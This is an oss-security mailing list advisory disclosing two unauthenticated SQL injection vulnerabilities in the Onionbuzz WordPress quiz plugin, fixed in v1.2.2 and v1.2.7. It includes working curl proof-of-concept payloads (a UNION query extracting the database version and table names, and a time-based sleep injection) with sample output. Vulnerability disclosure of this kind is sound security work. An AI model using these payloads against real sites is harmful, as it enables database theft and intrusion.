[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Message-ID: <CAN1YN0tHY1PbJ=WeUDs=ToCZ-_JetOhAnJwou3PCdcfsoFy9Cg@mail.gmail.com>
Date: Sat, 20 Jul 2019 18:35:49 -0400
From: Eugene Kolo <eugene@...enekolo.com>
To: oss-security@...ts.openwall.com
Subject: Two unauthenticated SQL injection vulnerabilities in Onionbuzz
WordPress plugin
Two unauthenticated/unprivileged SQL injection vulnerabilities in the Viral
Quiz Maker - Onionbuzz WordPress plugin.
Information
===========
Affected Product: Viral Quiz Maker - OnionBuzz WordPress plugin
Vendor Homepage: Onionbuzz.com
Vulnerability Type: SQL Injection
Discoverer: Eugene Kolodenker
Date: July-20-2019
1)
Description
===========
Prior to v1.2.2, you could exploit the `points` parameter in the
`ob_get_results` ajax nopriv handler due to there being no sanitization on
the points argument. The points parameter is not sanitized prior to be used
in a SQL query in getResultByPointsTrivia. This allows an
unauthenticated/unprivileged user to perform a SQL injection attack capable
of remote code execution and information disclosure.
Proof of Concept (POC)
======================
```
curl http://site/wp-admin/admin-ajax.php?action=ob_get_results --data
"type=get_result&id=1&quiz_type=5&points=1 or 1=0 union all select
1,1,version(),table_name,1,1,1,1,1 from information_schema.tables;#"
```
And get back:
```
{"quiz_id":1,"points":"1 or 1=0 union all select
1,1,version(),table_name,1,1,1,1,1 from
information_schema.tables;#","title":<DBVERSION>","description":"CHARACTER_SETS","featured_image":"<img
src=\"1\">","image_caption":"1","is_image":1,"success":1}
```
2)
Description
===========
Prior to v1.2.7, you could exploit the `id` parameter in the `set_count`
ajax nopriv handler due to there being no sanitization on the id argument.
The id parameter is not sanitized prior to be used in a SQL query in
saveQuestionVote. This allows an unauthenticated/unprivileged user to
perform a SQL injection attack capable of remote code execution and
information disclosure.
Proof of Concept (POC)
======================
```
curl http://site/wp-admin/admin-ajax.php?type=set_count --data
"action=ob_question_votes&id=1 or sleep(10);#"
```
Powered by blists - more mailing lists
Please check out the
Open Source Software Security Wiki, which is counterpart to this
mailing list.
Confused about mailing lists and their use?
Read about mailing lists on Wikipedia
and check out these
guidelines on proper formatting of your messages.
